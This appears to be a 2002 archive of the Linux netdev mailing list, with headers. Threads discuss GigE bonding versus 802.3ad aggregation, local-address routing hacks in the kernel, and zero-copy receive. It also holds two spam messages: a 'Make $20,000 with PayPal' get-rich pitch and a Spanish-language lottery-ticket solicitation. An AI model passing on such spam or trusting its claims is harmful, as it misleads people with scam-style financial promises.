netdev-bounce@oss.sgi.com X-original-sender: borisp@mc.com Precedence: bulk X-list: netdev Hi, I got couple questions about bonding vs link agregation in GigE space. I may be doing something wrong on the user level, or there might be system-level issues I am not aware of. I am trying to increase bandwidth of GigE connecitons between boxes in my cluster by means of bonding or aggregating several GigE links together. The simplest setup that I have is two boxes with dual GigE e1000 cards connected to each other directly by means of crossover cables. The boxes are running Redhat 7.3. I can successfully bond the links; however, I do not see any increase in Netpipe bandwidth as compared to the case of a single GigE link. My CPU utilization is around 20%, and I can get ~900Mbits/sec over a single link (MTU 7500). With bonding, CPU utilization is marginally higher, and there is no increase (or some decrease) in Netpipe numbers. Looking at the ifconfig eth* statistics, I can see that the traffic is distributed evenly between the connections. The cards are plugged into 100Mhz PCI-X 64. Memory bw seems to be sufficient (estimated with "stream" to be ~ 1200MB/s). Can anybody offer an explanation ? Another question is about link agregation. Intel offers "teaming" option (with the driver and utils) for agregating the e1000 cards in EtherChannel- or 802.3ad - compatible way. From a few docs I could find that have any technical merit (802.3ad doc on order), it appears that there are some sort of Ethernet frame ordering restrictions that EtherChannel and 802.3ad impose on the traffic spread across the aggregated links. So, in my case, I can see (ifconfig statistics) that one link is always sending GigE frames, whereas the other clink is always receiving. Obviously, in this arrangement, Netpipe will not benefit from the aggregation. A response that I got from Intel customer support indicated that "this is how EtherChannel works". Can someone explain why there are some ordering restrictions ? If I am not mistaken, TCP/IP would handle out-of-order frames transparently because it is designed to do so. Thanks in advance for your help, Boris Protopopov. From davem@redhat.com Thu Sep 12 16:16:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 16:16:07 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8CNG3tG022881 for ; Thu, 12 Sep 2002 16:16:03 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id QAA09747; Thu, 12 Sep 2002 16:12:25 -0700 Date: Thu, 12 Sep 2002 16:12:25 -0700 (PDT) Message-Id: <20020912.161225.20790415.davem@redhat.com> To: hadi@cyberus.ca Cc: todd@osogrande.com, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 166 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: jamal Date: Thu, 12 Sep 2002 08:30:44 -0400 (EDT) In regards to the receive side CPU utilization improvements: I think that NAPI does a good job at least in getting ridding of the biggest offender -- interupt overload. I disagree, at least for bulk receivers. We have no way currently to get rid of the data copy. We desperately need sys_receivefile() and appropriate ops all the way into the networking, then the necessary driver level support to handle the cards that can do this. Once 10gbit cards start hitting the shelves this will convert from a nice perf improvement into a must have. From davem@redhat.com Thu Sep 12 16:38:24 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 16:38:28 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8CNcNtG024051 for ; Thu, 12 Sep 2002 16:38:23 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id QAA10011; Thu, 12 Sep 2002 16:34:47 -0700 Date: Thu, 12 Sep 2002 16:34:47 -0700 (PDT) Message-Id: <20020912.163447.131926830.davem@redhat.com> To: borisp@mc.com Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation From: "David S. Miller" In-Reply-To: <3D80DF4F.5B218F19@mc.com> References: <3D80DF4F.5B218F19@mc.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 167 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Bonding does not help with single stream performance. You have to have multiple apps generating multiple streams of data before you'll realize any improvement. Therefore netpipe is a bad test for what you're doing. From friend@getreallyrich.com Thu Sep 12 16:50:38 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 16:50:40 -0700 (PDT) Received: from herbsmetics.com ([65.174.80.55]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8CNobtG024915 for ; Thu, 12 Sep 2002 16:50:37 -0700 Received: from patil [162.83.187.119] by herbsmetics.com with ESMTP (SMTPD32-7.12) id A95E9230150; Thu, 12 Sep 2002 19:55:10 -0400 From: "Your Friend" Subject: Make $20,000 with PayPal! Fast, reliable,FREE!!! To: netdev@oss.sgi.com MIME-Version: 1.0 Reply-To: nyslik@yahoo.com Date: Thu, 12 Sep 2002 20:10:45 -0400 X-Priority: 3 X-Library: Indy 8.0.25 Message-Id: <200209121955263.SM01328@patil> Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit Content-length: 38 X-archive-position: 168 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: friend@getreallyrich.com Precedence: bulk X-list: netdev [[HTML alternate version deleted]] From scott.feldman@intel.com Thu Sep 12 18:25:37 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 18:25:39 -0700 (PDT) Received: from hermes.jf.intel.com (fmr05.intel.com [134.134.136.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8D1PbtG012004 for ; Thu, 12 Sep 2002 18:25:37 -0700 Received: from petasus.jf.intel.com (petasus.jf.intel.com [10.7.209.6]) by hermes.jf.intel.com (8.11.6/8.11.6/d: outer.mc,v 1.50 2002/08/30 20:04:57 dmccart Exp $) with ESMTP id g8D1SMb00393 for ; Fri, 13 Sep 2002 01:28:22 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.jf.intel.com (8.11.6/8.11.6/d: inner.mc,v 1.24 2002/08/30 20:04:21 dmccart Exp $) with SMTP id g8D1RbZ13787 for ; Fri, 13 Sep 2002 01:27:37 GMT Received: from orsmsx26.jf.intel.com ([192.168.65.26]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2002091218322726457 ; Thu, 12 Sep 2002 18:32:28 -0700 Received: by orsmsx26.jf.intel.com with Internet Mail Service (5.5.2653.19) id ; Thu, 12 Sep 2002 18:30:10 -0700 Message-ID: <288F9BF66CD9D5118DF400508B68C4460475892C@orsmsx113.jf.intel.com> From: "Feldman, Scott" To: "'David S. Miller'" , borisp@mc.com Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: RE: bonding vs 802.3ad/Cisco EtherChannel link agregation Date: Thu, 12 Sep 2002 18:30:03 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-archive-position: 169 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev > Bonding does not help with single stream performance. > You have to have multiple apps generating multiple streams > of data before you'll realize any improvement. > Therefore netpipe is a bad test for what you're doing. The analogy that I like is to imagine a culvert under your driveway and you want to fill up the ditch on the other side, so you stick your garden hose in the culvert. The rate of water flow is good, but you're just not utilizing the volume (bandwidth) of the culvert. So you stick your neighbors garden hose in the culvert. And so on. Now the ditch is filling up. So stick a bunch of garden hoses (streams) into that culvert (gigabit) and flood it to the point of saturation, and now measure the efficiency of the system (CPU %) How much CPU is left to do other useful work? The lower the CPU utilization, the higher the efficiency of the system. Ok, the analogy is corny, and it doesn't have anything to do with bonding, but you'd be surprise how often this question comes up. -scott From greearb@candelatech.com Thu Sep 12 21:27:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 21:27:15 -0700 (PDT) Received: from grok.yi.org (IDENT:GEkpiDvp/zG0zYy2mygVts/3VwYI1kPx@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8D4R7tG031074 for ; Thu, 12 Sep 2002 21:27:08 -0700 Received: from candelatech.com (IDENT:d5ZJJVKmhBenD3qsu+3Ym+pjYtB3inW3@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8D4Vjv25228 for ; Thu, 12 Sep 2002 21:31:45 -0700 Message-ID: <3D816A31.3050401@candelatech.com> Date: Thu, 12 Sep 2002 21:31:45 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "netdev@oss.sgi.com" Subject: more on forcing traffic to route to local interface though another interface. Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 170 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev I've been adding printk's to the linux routing code to try to figure out how things are working... It appears that at least one of the reasons why what I want to do will not work is that this code in route.c: /* * Now we are ready to route packet. */ if ((err = fib_lookup(&key, &res)) != 0) { if (!IN_DEV_FORWARD(in_dev)) goto e_inval; goto no_route; } returns a 'res' that has the res.type == RTN_LOCAL. So, does anyone know what part of the code populates the fib tables? I need to convince that code to never (or rarely) use any RTN_LOCAL type, at least for certain interfaces and/or sockets. Other ideas are welcome, of course! Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From greearb@candelatech.com Thu Sep 12 21:55:16 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 21:55:21 -0700 (PDT) Received: from grok.yi.org (IDENT:a8qnlflY4jsR/pcSkPaL0zeQepvPzzpH@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8D4tFtG031702 for ; Thu, 12 Sep 2002 21:55:15 -0700 Received: from candelatech.com (IDENT:G8731805K9ej1swYBLzDlKXXqO/ddURN@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8D4xAv28603; Thu, 12 Sep 2002 21:59:11 -0700 Message-ID: <3D81709E.7040506@candelatech.com> Date: Thu, 12 Sep 2002 21:59:10 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: kuznet@ms2.inr.ac.ru CC: Rusty Russell , netdev@oss.sgi.com, anton@samba.org Subject: Re: "Loopback" route through two cards? References: <200209031254.QAA02008@sex.inr.ac.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 171 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev kuznet@ms2.inr.ac.ru wrote: > Hello! > > >> I know this is an FAQ, but I never saw an answer I liked. > > > And what kind of answers do you like? :-) > > >>still impossible > > > It depends on sense which you put to "impossible". > > There are two problems with this: > > 1. You cannot send to local address via any device but loopback. > > The only way to override this is to use explicit SO_BINDTODEVICE > on sending socket. Hence, it is "impossible" not changing application. Ooooh, this looks like what I'm looking for... > > 2. You cannot receive packets with local address from any device > but loopback. > > This is impossible, but wthis time without not editing kernel, > removing the check for local addresses in fib_validate_source(). Any clues to which part of this method needs to be changed? I see nothing obviously about checking for local IPs, but I'm sure it's in there somewhere! Thanks, Ben > > Alexey > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From greearb@candelatech.com Thu Sep 12 22:39:38 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 22:39:44 -0700 (PDT) Received: from grok.yi.org (IDENT:TP7xcPVmgHSF0IccBRFMbNRdlgl/Xy3X@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8D5dbtG001475 for ; Thu, 12 Sep 2002 22:39:38 -0700 Received: from candelatech.com (IDENT:pmrf0NL+shKkAYlF7IKxcS3CBv4nvcBe@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8D5iEv04817; Thu, 12 Sep 2002 22:44:14 -0700 Message-ID: <3D817B2E.7020207@candelatech.com> Date: Thu, 12 Sep 2002 22:44:14 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ben Greear CC: netdev@oss.sgi.com Subject: Re: "Loopback" route through two cards? References: <200209031254.QAA02008@sex.inr.ac.ru> <3D81709E.7040506@candelatech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 172 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Ben Greear wrote: > kuznet@ms2.inr.ac.ru wrote: >> 2. You cannot receive packets with local address from any device >> but loopback. >> >> This is impossible, but wthis time without not editing kernel, >> removing the check for local addresses in fib_validate_source(). > > > Any clues to which part of this method needs to be changed? I see nothing > obviously about checking for local IPs, but I'm sure it's in there > somewhere! So, after adding printk's everywhere, I see that this seems to be the check that fails: if (res.type != RTN_UNICAST) { printk("fib_frontend: was not UNICAST: %x\n", res.type); //goto e_inval_res; } After commenting that out, I can send pkts in one direction, but in the other direction, the ARP is not ever answered (I see it sent with ethereal). It appears that the only reason it goes in one direction is that I got lucky and the arp table had the entry for some reason. So, I have to figure out how to make ARP work in this case, and I think it will all start working! Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From swaters@amicus.com Fri Sep 13 07:02:18 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Sep 2002 07:02:20 -0700 (PDT) Received: from nsmaster.amicus.com (nsmaster.amicus.com [208.134.129.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8DE2HtG011456 for ; Fri, 13 Sep 2002 07:02:18 -0700 Received: from localhost.localdomain (swaters.amicus.com [208.134.129.75]) by nsmaster.amicus.com (8.12.1/8.12.1) with ESMTP id g8DE6rjq010855 for ; Fri, 13 Sep 2002 09:06:53 -0500 Subject: RFC 3041 From: Stephen Waters To: "netdev@oss.sgi.com" Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-/H9ngCvpBUv9vfTJAZF9" X-Mailer: Ximian Evolution 1.0.8 Date: 13 Sep 2002 09:06:53 -0500 Message-Id: <1031926014.6546.4.camel@swaters> Mime-Version: 1.0 X-RAVMilter-Version: 8.3.0(snapshot 20010925) (nsmaster.amicus.com) X-archive-position: 173 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: swaters@amicus.com Precedence: bulk X-list: netdev --=-/H9ngCvpBUv9vfTJAZF9 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Anyone know of any plans or code for implementing RFC 3041 "Privacy Extensions for Stateless Address Autoconfiguration in IPv6" on Linux? Thanks, -s --=-/H9ngCvpBUv9vfTJAZF9 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQA9gfD9vSyJ32tBS68RArs8AJ9OigQ24bTipdBuAuuBKLRUoKga0wCeO7xK tYettrxCEcdbDBDNUtqcqpk= =6elv -----END PGP SIGNATURE----- --=-/H9ngCvpBUv9vfTJAZF9-- From cfriesen@nortelnetworks.com Fri Sep 13 07:24:58 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Sep 2002 07:26:00 -0700 (PDT) Received: from zcars04e.ca.nortel.com (zcars04e.nortelnetworks.com [47.129.242.56]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8DEOwtG012123 for ; Fri, 13 Sep 2002 07:24:58 -0700 Received: from zcard307.ca.nortel.com (americasm01.nt.com [47.129.242.67]) by zcars04e.ca.nortel.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g8DETSF17085; Fri, 13 Sep 2002 10:29:28 -0400 (EDT) Received: from zcard0k6.ca.nortel.com ([47.129.242.158]) by zcard307.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SK2MN54L; Fri, 13 Sep 2002 10:29:32 -0400 Received: from pcard0ks.ca.nortel.com ([47.129.117.131]) by zcard0k6.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RDHYHSVQ; Fri, 13 Sep 2002 10:29:32 -0400 Received: from nortelnetworks.com (localhost.localdomain [127.0.0.1]) by pcard0ks.ca.nortel.com (Postfix) with ESMTP id 354232E12E; Fri, 13 Sep 2002 10:29:31 -0400 (EDT) Message-ID: <3D81F64B.11182FB1@nortelnetworks.com> Date: Fri, 13 Sep 2002 10:29:31 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: Chris Friesen X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-6mdkenterprise i686) X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation References: <3D80DF4F.5B218F19@mc.com> <20020912.163447.131926830.davem@redhat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 174 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cfriesen@nortelnetworks.com Precedence: bulk X-list: netdev "David S. Miller" wrote: > > Bonding does not help with single stream performance. > You have to have multiple apps generating multiple streams > of data before you'll realize any improvement. > Therefore netpipe is a bad test for what you're doing. This has always confused me. Why doesn't the bonding driver try and spread all the traffic over all the links? This would allow for a single stream to use the full aggregate bandwidth of all bonded links. Chris From borisp@mc.com Fri Sep 13 07:45:58 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Sep 2002 07:46:03 -0700 (PDT) Received: from mc.com (iris.mc.com [192.233.16.119]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8DEjvtG012688 for ; Fri, 13 Sep 2002 07:45:57 -0700 Received: from mc.com by mc.com (8.8.8+Sun/SMI-SVR4) id KAA11863; Fri, 13 Sep 2002 10:50:12 -0400 (EDT) Message-ID: <3D81FB23.EEBD371C@mc.com> Date: Fri, 13 Sep 2002 10:50:11 -0400 From: Boris Protopopov Organization: Mercury Computer Systems, Inc. X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "Feldman, Scott" CC: "'David S. Miller'" , linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation References: <288F9BF66CD9D5118DF400508B68C4460475892C@orsmsx113.jf.intel.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 175 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: borisp@mc.com Precedence: bulk X-list: netdev Hi, Scott, David, thanks for your replies, I agree that it seems that I bonding does not help with a single conection (btw, is this a single TCP conneciton, or an ordered pair of IP addresses, or an ordered pair of MAC addresses ?). My question is: why ? Scott, I am not sure I understand your analogy. It seems that you suggest that I cannot saturate GigE with a single hose (a single Netpipe connection, I am guessing). My experiments, however, indicate that I can - I get ~900Mbits/sec out of 1000Mbits/sec with 20% CPU utilization when I use a single Netpipe connection. I am guessing, the ~10% underutilization is caused by the protocol overheads (headers/trailers). I added another GigE link, bonded it with the first one, and repeated the experiment. I saw the ethernet frames evenly distributed between the two links (ifconfig statistics), which, in my opinion, indicated that a single Netpipe connection was in fact using both links. The CPU utilization rose a bit, but it was nowhere near even 50%. The memory subsystem seems to be able to handle over 1000Mbytes/sec, the peripheral bus is 100Mhz 64-bit PCI-X (handles 800Mbytes/sec). So, obviously, there is a bottneck somewhere, but I don't understand where. I think my CPU/memory/I/O hose is big enough to fill up two GigE links (~200Mbytes/sec), however, this is not happening. My question is: why ? I know why this is happens when I use teaming: because, on each side, one GigE link is dedicated to sending, and the other one - to receiving (again, I use ifconfig statistics to see what's happening). Acording to what I was told, this is because 802.3ad and EtherChannel insist that all GigE frames that belong to a "conversation" (I was unable to find a technical definition of the "conversation" so far) are delivered in order. I would like to understand what a "conversation" is, and why TCP/IP could not handle out-of-order delivery in it's usual manner. I am guessing, because it would be too slow or would incur too much CPU overhead. I was wondering if someone knew for sure :) Thanks again, hope to get more opinions (it seems I am not alone :)), Boris. "Feldman, Scott" wrote: > > > Bonding does not help with single stream performance. > > You have to have multiple apps generating multiple streams > > of data before you'll realize any improvement. > > Therefore netpipe is a bad test for what you're doing. > > The analogy that I like is to imagine a culvert under your driveway and you > want to fill up the ditch on the other side, so you stick your garden hose > in the culvert. The rate of water flow is good, but you're just not > utilizing the volume (bandwidth) of the culvert. So you stick your > neighbors garden hose in the culvert. And so on. Now the ditch is filling > up. > > So stick a bunch of garden hoses (streams) into that culvert (gigabit) and > flood it to the point of saturation, and now measure the efficiency of the > system (CPU %) How much CPU is left to do other useful work? The lower the > CPU utilization, the higher the efficiency of the system. > > Ok, the analogy is corny, and it doesn't have anything to do with bonding, > but you'd be surprise how often this question comes up. > > -scott > - > To unsubscribe from this list: send the line "unsubscribe linux-net" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From respuesta@lapromocion.com Fri Sep 13 13:55:56 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Sep 2002 13:55:57 -0700 (PDT) Received: from lapromocion.com ([200.68.135.70]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8DKtotG025589 for ; Fri, 13 Sep 2002 13:55:53 -0700 Received: from operador.lapromocion.com ([200.68.135.70]) by lapromocion.com ([200.68.135.70]) with SMTP (MDaemon.PRO.v6.0.6.T) for ; Fri, 13 Sep 2002 15:35:26 -0500 Message-Id: <5.1.0.14.0.20020913090823.03ec9920@200.68.135.70> X-Sender: webpro@200.68.135.70 (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.1 X-Priority: 1 (Highest) Date: Fri, 13 Sep 2002 11:15:39 -0500 To: webmaster@lapromocion.com From: El Mensajero Millonario Subject: US$ 6 Millones!!! Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MDRemoteIP: 200.68.135.70 X-Return-Path: respuesta@lapromocion.com X-MDaemon-Deliver-To: netdev@oss.sgi.com X-archive-position: 176 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: webmaster@lapromocion.com Precedence: bulk X-list: netdev El Mensajero Millonario Increíble!!! La LOTTO De La Florida se acumulo nuevamente y jugara este Sabado 14 de Septiembre US$ 6 MILLONES....Si quiere comprarla hágalo ahora mismo usando los servicios de Mensajeria de www.elmensajeromillonario.com www.elmensajeromillonario.com le compra la LOTTO de La Florida y se la envía vía email todas las semanas.......Quiere saber como funciona, es muy fácil, solo haga click aqui *****SI DESEA SER RETIRADO DE NUESTRA BASE DE DATOS HAGA CLIC AQUÍ***** From todd-lkml@osogrande.com Fri Sep 13 14:57:08 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Sep 2002 14:57:12 -0700 (PDT) Received: from puerco.nm.org (puerco.nm.org [129.121.1.22]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8DLv8tG027360 for ; Fri, 13 Sep 2002 14:57:08 -0700 Received: (qmail 83764 invoked from network); 13 Sep 2002 21:58:05 -0000 Received: from unknown (HELO gallinas) (129.121.5.22) by puerco.nm.org with SMTP; 13 Sep 2002 21:58:05 -0000 Date: Fri, 13 Sep 2002 15:59:15 -0600 (MDT) From: todd-lkml@osogrande.com X-X-Sender: todd@gp Reply-To: linux-kernel@vger.kernel.org To: "David S. Miller" cc: "hadi@cyberus.ca" , "tcw@tempest.prismnet.com" , "linux-kernel@vger.kernel.org" , "netdev@oss.sgi.com" , patricia gilfeather Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <20020912.161225.20790415.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 177 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: todd-lkml@osogrande.com Precedence: bulk X-list: netdev dave, all, On Thu, 12 Sep 2002, David S. Miller wrote: > I disagree, at least for bulk receivers. We have no way currently to > get rid of the data copy. We desperately need sys_receivefile() and > appropriate ops all the way into the networking, then the necessary > driver level support to handle the cards that can do this. not sure i understand what you're proposing, but while we're at it, why not also make the api for apps to allocate a buffer in userland that (for nics that support it) the nic can dma directly into? it seems likely notification that the buffer was used would have to travel through the kernel, but it would be nice to save the interrupts altogether. this may be exactly what you were saying. > > Once 10gbit cards start hitting the shelves this will convert from a > nice perf improvement into a must have. totally agreed. this is a must for high-performance computing now (since who wants to waste 80-100% of their CPU just running the network)? t. -- todd underwood, vp & cto oso grande technologies, inc. todd@osogrande.com "Those who give up essential liberties for temporary safety deserve neither liberty nor safety." - Benjamin Franklin From niv@us.ibm.com Fri Sep 13 15:08:23 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Sep 2002 15:08:27 -0700 (PDT) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8DM8MtG027786 for ; Fri, 13 Sep 2002 15:08:23 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e6.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8DMCNlg032212; Fri, 13 Sep 2002 18:12:23 -0400 Received: from smtp.linux.ibm.com (ltc-eth1000.torolab.ibm.com [9.26.4.197]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8DMCKws094578; Fri, 13 Sep 2002 18:12:20 -0400 Received: from imap.linux.ibm.com (imap.linux.ibm.com [9.27.103.44]) by smtp.linux.ibm.com (Postfix) with ESMTP id 1259B3FE06; Fri, 13 Sep 2002 18:12:22 -0400 (EDT) Received: by imap.linux.ibm.com (Postfix, from userid 99) id 0A23123C0CB; Fri, 13 Sep 2002 18:12:21 -0400 (EDT) Received: from 9.47.18.15 ( [9.47.18.15]) as user niv@imap.linux.ibm.com by imap.linux.ibm.com with HTTP; Fri, 13 Sep 2002 15:12:20 -0700 Message-ID: <1031955140.3d8262c4c1de9@imap.linux.ibm.com> Date: Fri, 13 Sep 2002 15:12:20 -0700 From: Nivedita Singhvi To: linux-kernel@vger.kernel.org, todd-lkml@osogrande.com Cc: tcw@tempest.prismnet.com, pfeather@cs.unm.edu, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 9.47.18.15 X-archive-position: 178 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Quoting todd-lkml@osogrande.com: > dave, all, > > not sure i understand what you're proposing, but while we're at it, > why not also make the api for apps to allocate a buffer in userland > that (for nics that support it) the nic can dma directly into? it I believe thats exactly what David was referring to - reverse direction sendfile() so to speak.. > seems likely notification that the buffer was used would have to > travel through the kernel, but it would be nice to save the > interrupts altogether. However, I dont think what youre saving are interrupts as much as the extra copy, but I could be wrong.. thanks, Nivedita From davem@redhat.com Fri Sep 13 15:08:25 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Sep 2002 15:08:27 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8DM8OtG027796 for ; Fri, 13 Sep 2002 15:08:24 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id PAA18236; Fri, 13 Sep 2002 15:04:40 -0700 Date: Fri, 13 Sep 2002 15:04:39 -0700 (PDT) Message-Id: 